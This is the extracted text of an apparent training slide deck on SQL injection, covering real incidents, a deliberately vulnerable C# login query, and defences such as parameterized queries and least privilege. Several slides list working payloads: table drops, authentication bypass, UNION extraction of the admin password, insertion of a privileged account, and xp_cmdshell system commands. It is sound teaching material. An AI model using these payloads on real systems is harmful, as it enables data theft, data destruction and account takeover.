  • 6. Statistics • In February 2002, Jeremiah Jacks discovered that Guess.com was vulnerable to an SQL injection attack, permitting anyone able to construct a properly- crafted URL to pull down 200,000+ names, credit card numbers and expiration dates in the site's customer database. • On November 1, 2005, a teenage hacker used SQL Injection to break into the site of a Taiwanese information security magazine from the Tech Target group and steal customers' information. • On March 29, 2006, a hacker discovered an SQL Injection flaw in an official Indian government's tourism site. • On June 29, 2007, a computer criminal defaced the Microsoft UK website using SQL Injection. UK website The Register quoted a Microsoft spokesperson acknowledging the problem. • In January 2008, tens of thousands of PCs were infected by an automated SQL Injection attack that exploited a vulnerability in application code that uses Microsoft SQL Server as the database store.
  • 7. Statistics • … • In May 2012, the website for Wurm Online, a massively multiplayer online game, was shut down from an SQL Injection while the site was being updated. • In July 2012 a hacker group was reported to have stolen 450,000 login credentials from Yahoo!. The logins were stored in plain text and were allegedly taken from a Yahoo subdomain, Yahoo! Voices. The group breached Yahoo's security by using a "union-based SQL Injection technique". • In February 2013, a group of Maldivian hackers, hacked the website " UN- Maldives" using SQL Injection.
  • 8. SQL Injection One package of milk for 30 rubles SELECT TOP 1 productname FROM shop WHERE (type=‘milk' AND price=‘30')
  • 9. SQL Injection One package of milk for 30 rubles or one kilogram of sweets for 200 rubles SELECT TOP 1 productname FROM shop WHERE (type=‘milk' AND price=‘30') OR (type=‘sweets' AND price='200')
  • 10. Warning! Knowledge from my session I recommend to use only for training.
  • 11. Dangers of SQL Injection  It is easy to study and apply  Archives of solutions http://www.exploit-db.com/  Can be automatized  Many script examples in the Network are vulnerable for attack  Does harm to the most valuable – a database
  • 12. Dangers of SQL Injection  http://www.exploit-db.com/
  • 13. Technical implementations  Incorrectly filtered escape characters  Incorrect type handling  UNION using  Blind SQL injection
  • 14. Source data create table users( id int, username varchar(255), password varchar(255), privs int ) go insert into users values ( 0, 'admin', 'r00t', 0xffff ), ( 1, 'guest', 'guest', 0x0000 )
  • 15. Application SqlCommand comm = new SqlCommand("select * from users where username = '" + txtUserName.Text + "' and password = '" + txtPassword.Text + "'");
  • 16. Demo
  • 17. Application '; drop table users-- SqlCommand comm = new SqlCommand("select * from users where username = '" + txtUserName.Text + "' and password = '" + txtPassword.Text + "'");
  • 18. Getting data Username: '; drop table temp-- Username: admin'-- Username: ' or 1=1-- Username: ' union select 1, 'fictional_user', 'some_password', 1--
  • 19. Getting data  table name ' having 1=1--  columns name ' group by users.id having 1=1 -- ' group by users.id, users.username, users.password, users.privs having 1=1--  Type of data ' union select sum(username) from users-- ' union select sum(id) from users--
  • 20. Getting data  add new row '; insert into users values( 666, 'attacker', 'foobar', 0xffff )--  info about system ' union select @@version,1,1,1 --  logins ' union select min(username),1,1,1 from users where username > 'a'–-  passwords ' union select password,1,1,1 from users where username = 'admin'--
  • 21. Extended stored procedure exec master..xp_cmdshell 'net1 user' xp_regaddmultistring xp_regdeletekey xp_regdeletevalue xp_regenumkeys xp_regenumvalues xp_regread xp_regremovemultistring xp_regwrite xp_servicecontrol xp_availablemedia xp_dirtree xp_enumdsn xp_loginconfig xp_makecab xp_ntsec_enumdomains xp_terminate_process
  • 22. Demo
  • 24. Demo
  • 27. Defense  Tell to the user only that he/she really needs to know try { // Attempt some database operation } catch(Exception e) { errorLabel.Text = string.Concat("Sorry, your request failed. ", "If the problem persists please report the following message ", "to technical support", Environment.Newline, e.Message); } try { // Attempt some database operation } catch(Exception e) { int id = ErrorLogger.LogException(e); errorLabel.Text = string.Format("Sorry, your request Failed. If the problem persists please report error code {0} to the technical support team.", id); }
  • 28. Defense  Check of all entered data  size  content of string variables  using XML-schema  decline symbols ; ' -- /* */ xp_  Use stored procedures
  • 29. Defense  Use the parameterized input with stored procedures SqlDataAdapter myCommand = new SqlDataAdapter("LoginStoredProcedure '" + Login.Text + "'", conn);
  • 30. Defense  Use SQL parameters of safe types SqlDataAdapter myCommand = new SqlDataAdapter("AuthorLogin", conn); myCommand.SelectCommand.CommandType = CommandType.StoredProcedure; SqlParameter parm = myCommand.SelectCommand.Parameters.Add("@ au_id", SqlDbType.VarChar, 11); parm.Value = Login.Text;
  • 31. Defense  Pack parameters by functions QUOTENAME() and REPLACE() --before: SET @temp = 'select * from authors where au_lname=''' + @au_lname + '''‘ --after: SET @temp = 'select * from authors where au_lname=''' + REPLACE(@au_lname,'''','''''') + ''''
  • 32. Defense  Execute with least privilege <add key="cnxNWindBad" value="server=localhost;uid=sa;pwd=;da tabase=northwind;" /> <add key="cnxNWindGood" value="server=localhost;uid=NWindReade r;pwd=utbbeesozg4d; database=northwind;" />
  • 33. Defense  Secrets must be secrets <add key="cnxNWindBest" value="AQAAANCMnd8BFdERjHoAwE/ Cl+sBAAAAcWMZ8XhPz0O8jHcS1539LAQAAAACAAAA AAADZgAAqAAAABAAAABdodw0YhWfcC6+ UjUUOiMwAAAAAASAAACgAAAAEAAAALPzjTRnAPt7/ W8v38ikHL5IAAAAzctRyEcHxWkzxeqbq/ V9ogaSqS4UxvKC9zmrXUoJ9mwrNZ/ XZ9LgbfcDXIIAXm2DLRCGRHMtrZrp9yledz0n9kgP 3b3s+ X8wFAAAANmLu0UfOJdTc4WjlQQgmZElY7Z8" />
  • 34. Defense  Secrets must be secrets string strCnx = SecureConnection.GetCnxString("cnxNWindBest"); public class SecureConnection { static public string GetCnxString(string configKey) { string strCnx; try { // get encrypted string from web.config string strEncryptedCnx = ConfigurationSettings.AppSettings[configKey]; // decrypt string DataProtector dp = new DataProtector(DataProtector.Store.USE_MACHINE_STORE); byte[] dataToDecrypt = Convert.FromBase64String(strEncryptedCnx); strCnx = Encoding.ASCII.GetString(dp.Decrypt(dataToDecrypt,null)); } catch { strCnx=""; } return strCnx; } } *Win32 Data Protection API (DPAPI) (System.Security.Cryptography)
  • 35. Defense  Secrets must be secrets  EncryptByPassPhrase  DecryptByPassPhrase DECLARE @plaintext nvarchar(1000), @enc_text varbinary(2000) SET @plaintext='Я помню чудное мгновенье' SET @enc_text=ENCRYPTBYPASSPHRASE('Krasnodar',@plaintext) SELECT 'Оригинальный текст: ', @plaintext SELECT 'Зашифрованный текст:', @enc_text SELECT 'Расшифровка:', CAST(DECRYPTBYPASSPHRASE('Krasnodar',@enc_text) as nvarchar(1000))
  • 36. Demo
  • 37. Defense on all layers
  • 38. Defense (conclusion)  Tell to the user only that he needs really to know  Check of all entered data  Use stored procedures  Use SQL parameters of safe types  Pack parameters by functions QUOTENAME() and REPLACE()  Execute with Least Privilege  Secrets must be secrets  Defense on all layers
  • 40. Resources  SQL Injection  SQL Injection FAQ  Hacking website using SQL Injection - step by step guide  Dynamic SQL & SQL injection  Advanced SQL Injection In SQL Server Applications  Stop SQL Injection Attacks Before They Stop You  SQL Injection - Why I Don't Think Parameterization is Enough